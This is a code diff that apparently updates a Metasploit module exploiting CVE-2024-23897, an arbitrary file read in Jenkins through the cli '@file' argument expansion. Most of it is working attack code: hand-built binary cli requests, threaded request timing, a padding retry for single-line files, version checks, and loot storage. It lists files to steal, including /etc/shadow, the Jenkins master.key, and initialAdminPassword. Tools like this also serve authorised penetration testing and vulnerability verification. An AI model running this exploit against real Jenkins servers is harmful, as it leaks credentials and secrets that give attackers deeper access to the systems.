@@ -11,9 +11,39 @@ def initialize(info = {})
11
11
super (
12
12
update_info (
13
13
info ,
14
- 'Name' => 'Jenkins cliConnect Arbitrary File Read' ,
14
+ 'Name' => 'Jenkins cli Ampersand Replacement Arbitrary File Read' ,
15
15
'Description' => %q{
16
- docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17
16
+ This module utilizes the Jenkins cli protocol to run the `help` command.
17
+ The cli is accessible with read-only permissions by default, which are
18
+ all thats required.
19
+
20
+ Jenkins cli utilizes `args4j's` `parseArgument`, which calls `expandAtFiles` to
21
+ replace any `@<filename>` with the contents of a file. We are then able to retrieve
22
+ the error message to read up to the first two lines of a file.
23
+
24
+ Exploitation by hand can be done with the cli, see markdown documents for additional
25
+ instructions.
26
+
27
+ There are a few exploitation oddities:
28
+ 1. The injection point for the `help` command requires 2 input arguments.
29
+ When the `expandAtFiles` is called, each line of the `FILE_PATH` becomes an input argument.
30
+ If a file only contains one line, it will throw an error: `ERROR: You must authenticate to access this Jenkins.`
31
+ However, we can pad out the content by supplying a first argument.
32
+ 2. There is a strange timing requirement where the `download` (or first) request must get
33
+ to the server first, but the `upload` (or second) request must be very close behind it.
34
+ From testing against the docker image, it was found values between `.01` and `1.9` were
35
+ viable. Due to the round trip time of the first request and response happening before
36
+ request 2 would be received, it is necessary to use threading to ensure the requests
37
+ happen within rapid succession.
38
+
39
+ Files of value:
40
+ * /var/jenkins_home/secret.key
41
+ * /var/jenkins_home/secrets/master.key
42
+ * /var/jenkins_home/secrets/initialAdminPassword
43
+ * /etc/passwd
44
+ * /etc/shadow
45
+ * Project secrets and credentials
46
+ * Source code, build artifacts
17
47
} ,
18
48
'License' => MSF_LICENSE ,
19
49
'Author' => [
@@ -39,10 +69,11 @@ def initialize(info = {})
39
69
'Notes' => {
40
70
'Stability' => [ CRASH_SAFE ] ,
41
71
'Reliability' => [ ] ,
42
- 'SideEffects' => [ IOC_IN_LOGS ]
72
+ 'SideEffects' => [ ]
43
73
} ,
44
74
'DefaultOptions' => {
45
- 'RPORT' => 8080
75
+ 'RPORT' => 8080 ,
76
+ 'HttpClientTimeout' => 3 # very quick response, so set this low
46
77
}
47
78
)
48
79
)
@@ -54,12 +85,14 @@ def initialize(info = {})
54
85
)
55
86
register_advanced_options (
56
87
[
57
- OptFloat . new ( 'DELAY' , [ true , 'Delay between first and second request' , 0.01 ] ) ,
88
+ OptFloat . new ( 'DELAY' , [ true , 'Delay between first and second request' , 0.5 ] ) ,
89
+ OptString . new ( 'ENCODING' , [ true , 'Encoding to use for reading the file' , 'UTF-8' ] ) ,
90
+ OptString . new ( 'LOCALITY' , [ true , 'Locality to use for reading the file' , 'en_US' ] )
58
91
]
59
92
)
60
93
end
61
94
62
- # Returns the Jenkins version. taken from jenkins_cred_recovery.rb
95
+ # Returns the Jenkins version. taken from jenkins_cred_recovery.rb, upgraded to work with newer versions
63
96
#
64
97
# @return [String] Jenkins version.
65
98
# @return [NilClass] No Jenkins version found.
@@ -71,29 +104,65 @@ def get_jenkins_version
71
104
fail_with ( Failure ::Unknown , 'Connection timed out while finding the Jenkins version' )
72
105
end
73
106
107
+ # shortcut for new versions such as 2.426.2 and 2.440
108
+ return res . headers [ 'X-Jenkins' ] if res . headers [ 'X-Jenkins' ]
109
+
74
110
html = res . get_html_document
75
111
version_attribute = html . at ( 'body' ) . attributes [ 'data-version' ]
76
112
version = version_attribute ? version_attribute . value : ''
77
113
version . scan ( /jenkins-([\d .]+)/ ) . flatten . first
78
114
end
79
115
80
- # Returns a check code indicating the vulnerable status. taken from jenkins_cred_recovery.rb
81
- #
82
- # @return [Array] Check code
83
116
def check
84
117
version = get_jenkins_version
85
- vprint_status ( "Found version: #{ version } " )
86
118
87
- # Default version is vulnerable, but can be mitigated by refusing anonymous permission on
88
- # decryption API. So a version wouldn't be adequate to check.
89
- if version
90
- return Exploit ::CheckCode ::Detected
119
+ return Exploit ::CheckCode ::Safe ( 'Unable to determine Jenkins version number' ) if version . nil? || version . blank?
120
+
121
+ version = Rex ::Version . new ( version )
122
+
123
+ if version <= Rex ::Version . new ( '2.426.2' ) || # LTS check
124
+ ( version >= Rex ::Version . new ( '2.427' ) && version <= Rex ::Version . new ( '2.441' ) ) # non-lts
125
+ return Exploit ::CheckCode ::Appears ( "Found exploitable version: #{ version } " )
91
126
end
92
127
93
- Exploit ::CheckCode ::Safe
128
+ Exploit ::CheckCode ::Safe ( "Found non-exploitable version: #{ version } " )
129
+ end
130
+
131
+ def request_header
132
+ "\x00 \x00 \x00 \x06 \x00 \x00 \x04 help\x00 \x00 \x00 "
133
+ end
134
+
135
+ def request_footer
136
+ data = [ ]
137
+ data << "\x00 \x00 \x00 \x07 \x02 \x00 "
138
+ data << [ datastore [ 'ENCODING' ] . length ] . pack ( 'C' ) # length of encoding string
139
+ data << datastore [ 'ENCODING' ]
140
+ data << "\x00 \x00 \x00 \x07 \x01 \x00 "
141
+ data << [ datastore [ 'LOCALITY' ] . length ] . pack ( 'C' ) # length of locality string
142
+ data << datastore [ 'LOCALITY' ]
143
+ data << "\x00 \x00 \x00 \x00 \x03 "
144
+ data
94
145
end
95
146
96
- def upload_request ( uuid )
147
+ def parameter_one
148
+ # a literal parameter of 1
149
+ "\x03 \x00 \x00 \x01 \x31 \x00 \x00 \x00 "
150
+ end
151
+
152
+ def data_generator ( pad = false )
153
+ data = [ ]
154
+ data << request_header
155
+ data << parameter_one if pad == true
156
+ data << [ datastore [ 'FILE_PATH' ] . length + 3 ] . pack ( 'C' ) . to_s
157
+ data << "\x00 \x00 "
158
+ data << [ datastore [ 'FILE_PATH' ] . length + 1 ] . pack ( 'C' ) . to_s
159
+ data << "\x40 "
160
+ data << datastore [ 'FILE_PATH' ]
161
+ data << request_footer
162
+ data . join ( '' )
163
+ end
164
+
165
+ def upload_request ( uuid , multi_line_file = true )
97
166
# send upload request asking for file
98
167
99
168
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
@@ -111,16 +180,15 @@ def upload_request(uuid)
111
180
'vars_get' => {
112
181
'remoting' => 'false'
113
182
} ,
114
- # https://github.com/h4x0r-dz/CVE-2024-23897/blob/main/CVE-2024-23897.py#L45C13-L45C187
115
- 'data' => "\x00 \x00 \x00 \x06 \x00 \x00 \x04 help\x00 \x00 \x00 \x0e \x00 \x00 \x0c @#{ datastore [ 'FILE_PATH' ] } \x00 \x00 \x00 \x05 \x02 \x00 \x03 GBK\x00 \x00 \x00 \x07 \x01 \x00 \x05 en_US\x00 \x00 \x00 \x00 \x03 "
183
+ 'data' => data_generator ( multi_line_file )
116
184
)
117
185
118
186
fail_with ( Failure ::Unreachable , "#{ peer } - Could not connect to web service - no response" ) if res . nil?
119
187
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Invalid server reply to upload request (response code: #{ res . code } )" ) unless res . code == 200
120
188
# we don't get a response here, so we just need the request to go through and 200 us
121
189
end
122
190
123
- def process_result
191
+ def process_result ( use_pad )
124
192
# the output comes back as follows:
125
193
126
194
# ERROR: Too many arguments: <line 2>
@@ -131,7 +199,8 @@ def process_result
131
199
132
200
# The main thing here is we get the first 2 lines of output from the file.
133
201
# The 2nd line from the file is returned on line 1 of the output, and line
134
- # 1 from the file is returned on the last line of output.
202
+ # 1 from the file is returned on the last line of output. If padding was used
203
+ # then <line 1> will just be a literal 1
135
204
136
205
file_contents = [ ]
137
206
@content_body . split ( "\n " ) . each do |html_response_line |
@@ -146,7 +215,12 @@ def process_result
146
215
end
147
216
return if file_contents . empty?
148
217
149
- print_good ( "#{ datastore [ 'FILE_PATH' ] } file contents:\n #{ file_contents . join ( "\n " ) } " )
218
+ # if we padded out, then our first line is 1, so drop that
219
+ file_contents = file_contents . drop ( 1 ) if use_pad == true
220
+
221
+ print_good ( "#{ datastore [ 'FILE_PATH' ] } file contents retrieved (first line or 2):\n #{ file_contents . join ( "\n " ) } " )
222
+ stored_path = store_loot ( 'jenkins.file' , 'text/plain' , rhost , file_contents . join ( "\n " ) , datastore [ 'FILE_PATH' ] )
223
+ print_good ( "Results saved to: #{ stored_path } " )
150
224
end
151
225
152
226
def download_request ( uuid )
@@ -183,9 +257,10 @@ def run
183
257
# the server resulted in a 500 error. So we need to thread these to
184
258
# execute them fast enough that the server gets both in rapid succession
185
259
260
+ use_pad = false
186
261
threads = [ ]
187
262
threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
188
- upload_request ( uuid )
263
+ upload_request ( uuid , use_pad ) # try single line file first since we get an error if we have more content to get
189
264
end
190
265
threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
191
266
download_request ( uuid )
@@ -197,8 +272,27 @@ def run
197
272
nil
198
273
end
199
274
275
+ # we got an error that means we need to pad out our value, so rerun with pad
276
+ if @content_body && @content_body . include? ( 'ERROR: You must authenticate to access this Jenkins.' )
277
+ print_status ( 'Re-attempting with padding for single line output file' )
278
+ use_pad = true
279
+ threads = [ ]
280
+ threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
281
+ upload_request ( uuid , use_pad )
282
+ end
283
+ threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
284
+ download_request ( uuid )
285
+ end
286
+
287
+ threads . map do |t |
288
+ t . join
289
+ rescue StandardError
290
+ nil
291
+ end
292
+ end
293
+
200
294
if @content_body
201
- process_result
295
+ process_result ( use_pad )
202
296
else
203
297
print_bad ( 'Exploit failed, no exploit data was successfully returned' )
204
298
end
0 commit comments